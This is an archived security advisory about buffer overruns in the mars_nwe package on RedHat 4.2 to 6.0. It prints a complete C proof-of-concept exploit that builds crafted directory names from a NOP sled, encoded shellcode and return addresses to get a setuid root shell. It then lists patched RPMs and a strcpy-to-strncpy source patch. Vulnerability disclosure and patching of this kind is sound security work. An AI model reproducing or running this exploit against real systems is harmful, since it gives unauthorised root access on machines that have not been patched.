COMMAND

    mars_nwe

SYSTEMS AFFECTED

    RedHat 4.2, 5.2, 6.0

PROBLEM

    Przemyslaw  Frasunek  posted  following  (Lublin BSD Users Group).
    Babcia Padlina Ltd. has discovered many buffer overruns in running
    with superuser priviliges parts of mars_nwe package.

    By creating carefully designed  directories or bindery objects  it
    is possible to execute arbitrary code.

    Sample code (won't work with NLS support enabled):

    // get a suid shell :)

    #include <stdio.h>
    #include <errno.h>
    #include <sys/stat.h>
    #include <strings.h>
    #include <unistd.h>

    #define BUFSIZE		254
    #define NOP		0x90
    #define RET		0xbffff3a0
    #define ALIGN		1

    int makedir(dir)
    char *dir;
    {

	    if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
		    return -1;

	    if (chdir(dir))
		    return -1;

	    return 0;
    }


    int main(void)
    {
	    int i = 0, noplen = 0;
	    char pid[10], buf[BUFSIZE], *ptr = NULL;

	    char szelkod[] =

		    "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d"
		    "\x31\xc9\xb1\x88\x80\x36\x01\x46\xe2\xfa\xea\x19\x2e"
		    "\x63\x68\x6f\x2e\x62\x69\x6c\x6e\x65\x01\x35\x36\x34"
		    "\x34\x01\x2e\x63\x68\x6f\x2e\x72\x69\x01\x88\xf7\x54"
		    "\x88\xe4\x82\xed\x19\x56\x57\x52\xe9\x01\x01\x01\x01"
		    "\x5a\x80\xc2\xcf\x11\x01\x01\x8c\xba\x0b\xee\xfe\xfe"
		    "\x88\x7c\xf1\x8c\x82\x14\xee\xfe\xfe\x88\x44\xf5\x8c"
		    "\x92\x1b\xee\xfe\xfe\x88\x54\xf9\xc6\x44\xfd\x01\x01"
		    "\x01\x01\xb9\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88"
		    "\xf2\xcc\x81\x8c\x44\xf1\x88\xc0\xb9\x0a\x01\x01\x01"
		    "\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x8c\x64\xdd\x5a"
		    "\x5f\x5e\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91"
		    "\x91\x91\x91\x00";

	    sprintf(pid, "%d", getpid());

	    if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
	    {
		    perror("mkdir()");
		    return -1;
	    }

	    if (chdir(pid))
	    {
		    perror("chdir()");
		    return -1;
	    }

	    ptr = buf;
	    noplen = BUFSIZE - strlen(szelkod);

	    for (i=0;i<noplen;i++)
		    *ptr++ = NOP;

	    *ptr += noplen;

	    for (i=0;i<strlen(szelkod);i++)
		    *ptr++ = szelkod[i];

	    *ptr = '\0';

	    if(makedir(buf) < 0)
	    {
		    perror("makedir()");
		    return -1;
	    }

	    bzero(buf, BUFSIZE);
	    memset(buf, NOP, 40 + ALIGN);

	    if(makedir(buf) < 0)
	    {
		    perror("makedir()");
		    return -1;
	    }

	    bzero(buf, BUFSIZE);

	    for(i=0;i<96;i+=4)
		    *(long *)&buf[i] = RET;

	    for(i=0;i<2;i++)
	    {

		    if(makedir(buf) < 0)
		    {
			    perror("makedir()");
			    return -1;
		    }
	    }

	    return 0;
    }

SOLUTION

    RPMs required:

        ftp://updates.redhat.com//4.2/i386/mars-nwe-0.99pl17-0.4.2.i386.rpm
        ftp://updates.redhat.com//4.2/SRPMS/mars-nwe-0.99pl17-0.4.2.src.rpm

        ftp://updates.redhat.com//5.2/i386/mars-nwe-0.99pl17-0.5.2.i386.rpm
        ftp://updates.redhat.com//5.2/SRPMS/mars-nwe-0.99pl17-0.5.2.src.rpm

        ftp://updates.redhat.com//6.0/i386/mars-nwe-0.99pl17-4.i386.rpm
        ftp://updates.redhat.com//6.0/alpha/mars-nwe-0.99pl17-4.alpha.rpm
        ftp://updates.redhat.com//6.0/sparc/mars-nwe-0.99pl17-4.sparc.rpm
        ftp://updates.redhat.com//6.0/SRPMS/mars-nwe-0.99pl17-4.src.rpm

    Patches for mars_nwe 0.99pl15 follows:

    --- connect.c.orig	Mon Aug 30 11:20:45 1999
    +++ connect.c	Mon Aug 30 13:57:53 1999
    @@ -113,17 +113,17 @@
                      || !nw_volumes[volume].unixnamlen) {
         errorp(10, "build_unix_name", "volume=%d not ok\n", volume);
         strcpy(unixname, "Z/Z/Z/Z"); /*  */
         return(unixname);
       }
    -  strcpy(unixname, (char*)nw_volumes[volume].unixname); /* first UNIXNAME VOLUME */
    +  strncpy(unixname, (char*)nw_volumes[volume].unixname, sizeof(unixname)-1); /* first UNIXNAME VOLUME */

       p  = pp = unixname+strlen(unixname);
    -  strcpy(p,  (char*)nwpath->path);  /* now the path */
    +  strncpy(p,  (char*)nwpath->path, (sizeof(unixname)-strlen(unixname)-1));  /* now the path */
       p += strlen((char*)nwpath->path);
       if ( (!(modus & 1)) && nwpath->fn[0])
    -    strcpy(p, (char*)nwpath->fn);    /* and now fn  */
    +    strncpy(p, (char*)nwpath->fn, (sizeof(unixname)-strlen(unixname)-1));    /* and now fn  */
       else if ((modus & 2) && (*(p-1) == '/')) {
         if (p > unixname+1) *(--p) = '\0';
         else {
           *p++ = '.';
           *p   = '\0';
    @@ -176,11 +176,11 @@
       } else
         rethandle=nhandle;

       /* init dir_handle */
       dh=&(dir_handles[rethandle-1]);
    -  strcpy(dh->unixname, build_unix_name(nwpath, 0));
    +  strncpy(dh->unixname, build_unix_name(nwpath, 0), sizeof(dh->unixname)-1);
       dh->kpath         = dh->unixname + strlen(dh->unixname);
       if (dh->f) {
         closedir(dh->f);
         dh->f=NULL;
       }
    @@ -392,12 +392,12 @@
     {
     static char nwpathname[300];
       char volname[100];
       if (p->volume < 0 || p->volume >= used_nw_volumes) {
         sprintf(volname, "<%d=NOT-OK>", (int)p->volume);
    -  } else strcpy(volname, (char*)nw_volumes[p->volume].sysname);
    -  sprintf(nwpathname, "%s:%s%s", volname, p->path, p->fn);
    +  } else strncpy(volname, (char*)nw_volumes[p->volume].sysname, sizeof(volname)-1);
    +  snprintf(nwpathname, sizeof(nwpathname), "%s:%s%s", volname, p->path, p->fn);
       return(nwpathname);
     }

     /* new from Andrew Sapozhnikov <sapa@hq.icb.chel.su>
      * added in 0.99.pl7, removes old x_str_match routine
    @@ -576,14 +576,14 @@
         fs->ubuf  = NULL;
       }
       fs->attrib  = attrib;
       if (volume < 0 || volume >= used_nw_volumes) return(-1); /* something wrong */
       else  soptions = nw_volumes[volume].options;
    -  strcpy((char*)entry,  (char*)nwpath->fn);
    +  strncpy((char*)entry,  (char*)nwpath->fn, sizeof(entry)-1);

       nwpath->fn[0] = '\0';
    -  strcpy(xkpath, build_unix_name(nwpath, 1|2));
    +  strncpy(xkpath, build_unix_name(nwpath, 1|2), sizeof(xkpath)-1);

       XDPRINTF((5,0,"func_search_entry attrib=0x%x path:%s:, xkpath:%s:, entry:%s:",
             attrib, nwpath->path, xkpath, entry));

       if ( (!stat(xkpath, &(fs->statb)))